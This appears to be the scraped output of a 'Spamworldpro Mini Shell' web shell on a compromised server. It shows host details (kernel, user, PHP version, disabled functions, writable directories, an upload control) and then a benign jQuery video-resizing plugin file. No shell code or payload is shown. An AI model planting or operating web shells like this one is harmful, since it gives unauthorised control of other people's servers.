Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/clinic.corals.io/public/assets/front/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/clinic.corals.io/public/assets/front/js/plugins.html5video.js
window.scwHtml5VideoPlugin = window.scwHtml5VideoPlugin || {};

window.SEMICOLON_html5VideoInit = function ($html5Video) {

    if ($html5Video.length < 1) {
        return true;
    }

    $html5Video.each(function () {
        let element = $(this),
            elVideo = element.find('video'),
            divWidth = element.outerWidth(),
            divHeight = element.outerHeight(),
            elWidth = ((16 * divHeight) / 9),
            elHeight = divHeight;

        if (elWidth < divWidth) {
            elWidth = divWidth;
            elHeight = ((9 * divWidth) / 16);
        }

        elVideo.css({ width: elWidth + 'px', height: elHeight + 'px' });

        if (elHeight > divHeight) {
            elVideo.css(
                { 'left': '', 'top': -((elHeight - divHeight) / 2) + 'px' });
        }

        if (elWidth > divWidth) {
            elVideo.css(
                { 'top': '', 'left': -((elWidth - divWidth) / 2) + 'px' });
        }

        if (SEMICOLON.isMobile.any() && !element.hasClass('no-placeholder')) {
            let placeholderImg = elVideo.attr('poster');

            if (placeholderImg != '') {
                element.append(
                    '<div class="video-placeholder" style="background-image: url(' +
                    placeholderImg + ');"></div>');
            }

            elVideo.hide();
        }
    });

};


Spamworldpro Mini